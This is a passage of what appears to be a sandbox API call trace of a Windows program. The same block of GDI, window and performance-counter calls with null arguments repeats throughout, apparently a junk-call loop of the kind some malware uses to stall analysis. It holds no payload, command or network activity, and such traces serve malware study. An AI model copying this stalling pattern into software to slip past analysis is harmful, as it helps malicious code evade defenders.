out: lpsize=0x0) returned 0 [0026.895] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.895] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.895] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.895] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.895] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1190412088, cy=27, fuLoad=0x0) returned 0x0 [0026.895] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.895] GetLastError () returned 0x715 [0026.895] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.895] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.895] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.895] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.895] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.895] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.895] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1190393143, cy=27, fuLoad=0x0) returned 0x0 [0026.895] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.896] GetLastError () returned 0x715 [0026.896] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.896] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.896] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.896] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.896] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.896] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.896] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1190374198, cy=27, fuLoad=0x0) returned 0x0 [0026.896] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.896] GetLastError () returned 0x715 [0026.896] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.896] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.896] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.896] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.896] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.896] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.896] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1190355253, cy=27, fuLoad=0x0) returned 0x0 [0026.896] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.897] GetLastError () returned 0x715 [0026.897] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.897] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.897] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.897] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.897] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.897] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.897] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1190336308, cy=27, fuLoad=0x0) returned 0x0 [0026.897] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.897] GetLastError () returned 0x715 [0026.897] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.897] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.897] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.897] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.897] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.897] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.897] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1190317363, cy=27, fuLoad=0x0) returned 0x0 [0026.897] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.898] GetLastError () returned 0x715 [0026.898] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.898] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.898] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.898] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.898] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.898] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.898] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1190298418, cy=27, fuLoad=0x0) returned 0x0 [0026.898] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.898] GetLastError () returned 0x715 [0026.898] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.898] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.898] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.898] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.898] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.898] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.898] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1190279473, cy=27, fuLoad=0x0) returned 0x0 [0026.898] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.899] GetLastError () returned 0x715 [0026.899] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.899] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.899] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.899] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.899] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.899] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.899] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1190260528, cy=27, fuLoad=0x0) returned 0x0 [0026.899] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.899] GetLastError () returned 0x715 [0026.899] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.899] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.899] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.899] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.899] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.899] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.899] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1190241583, cy=27, fuLoad=0x0) returned 0x0 [0026.899] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.900] GetLastError () returned 0x715 [0026.900] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.900] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.900] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.900] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.900] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.900] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.900] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1190222638, cy=27, fuLoad=0x0) returned 0x0 [0026.900] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.900] GetLastError () returned 0x715 [0026.900] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.900] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.900] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.900] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.900] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.900] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.900] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1190203693, cy=27, fuLoad=0x0) returned 0x0 [0026.900] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.932] GetLastError () returned 0x715 [0026.932] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.932] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.932] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.932] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.932] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.932] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.932] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1190184748, cy=27, fuLoad=0x0) returned 0x0 [0026.932] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.932] GetLastError () returned 0x715 [0026.932] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.932] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.932] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.932] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.932] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.932] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.932] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1190165803, cy=27, fuLoad=0x0) returned 0x0 [0026.932] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.933] GetLastError () returned 0x715 [0026.933] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.933] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.933] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.933] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.933] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.933] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.933] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1190146858, cy=27, fuLoad=0x0) returned 0x0 [0026.933] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.933] GetLastError () returned 0x715 [0026.933] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.933] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.933] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.933] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.933] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.933] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.933] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1190127913, cy=27, fuLoad=0x0) returned 0x0 [0026.933] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.934] GetLastError () returned 0x715 [0026.934] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.934] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.934] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.934] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.934] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.934] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.934] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1190108968, cy=27, fuLoad=0x0) returned 0x0 [0026.934] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.934] GetLastError () returned 0x715 [0026.934] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.934] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.934] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.934] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.934] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.934] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.934] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1190090023, cy=27, fuLoad=0x0) returned 0x0 [0026.934] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.935] GetLastError () returned 0x715 [0026.935] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.935] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.935] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.935] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.935] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.935] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.935] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1190071078, cy=27, fuLoad=0x0) returned 0x0 [0026.935] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.935] GetLastError () returned 0x715 [0026.935] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.935] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.935] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.935] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.935] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.935] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.935] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1190052133, cy=27, fuLoad=0x0) returned 0x0 [0026.935] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.938] GetLastError () returned 0x715 [0026.938] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.938] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.938] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.938] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.938] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.938] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.938] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1190033188, cy=27, fuLoad=0x0) returned 0x0 [0026.938] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.938] GetLastError () returned 0x715 [0026.938] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.938] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.938] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.938] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.938] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.938] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.938] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1190014243, cy=27, fuLoad=0x0) returned 0x0 [0026.939] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.939] GetLastError () returned 0x715 [0026.939] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.939] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.939] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.939] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.939] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.939] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.939] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1189995298, cy=27, fuLoad=0x0) returned 0x0 [0026.939] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.939] GetLastError () returned 0x715 [0026.939] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.939] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.939] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.939] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.939] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.939] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.939] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1189976353, cy=27, fuLoad=0x0) returned 0x0 [0026.939] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.940] GetLastError () returned 0x715 [0026.940] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.940] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.940] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.940] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.940] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.940] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.940] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1189957408, cy=27, fuLoad=0x0) returned 0x0 [0026.940] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.940] GetLastError () returned 0x715 [0026.940] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.940] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.940] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.940] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.940] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.940] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.940] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1189938463, cy=27, fuLoad=0x0) returned 0x0 [0026.940] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.941] GetLastError () returned 0x715 [0026.941] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.941] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.941] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.941] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.941] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.941] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.941] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1189919518, cy=27, fuLoad=0x0) returned 0x0 [0026.941] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.941] GetLastError () returned 0x715 [0026.941] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.941] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.941] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.941] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.942] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.942] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.942] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1189900573, cy=27, fuLoad=0x0) returned 0x0 [0026.942] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.942] GetLastError () returned 0x715 [0026.942] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.942] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.942] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.942] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.942] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.942] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.942] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1189881628, cy=27, fuLoad=0x0) returned 0x0 [0026.942] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.942] GetLastError () returned 0x715 [0026.942] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.942] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.942] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.942] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.943] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.943] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.943] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1189862683, cy=27, fuLoad=0x0) returned 0x0 [0026.943] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.943] GetLastError () returned 0x715 [0026.943] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.943] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.943] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.943] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.943] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.943] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.943] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1189843738, cy=27, fuLoad=0x0) returned 0x0 [0026.943] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.943] GetLastError () returned 0x715 [0026.943] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.943] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.943] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.943] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.943] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.943] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.944] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1189824793, cy=27, fuLoad=0x0) returned 0x0 [0026.944] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.944] GetLastError () returned 0x715 [0026.944] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.944] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.944] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.944] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.944] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.944] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.944] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1189805848, cy=27, fuLoad=0x0) returned 0x0 [0026.944] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.944] GetLastError () returned 0x715 [0026.944] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.944] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.944] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.944] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.944] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.944] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.944] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1189786903, cy=27, fuLoad=0x0) returned 0x0 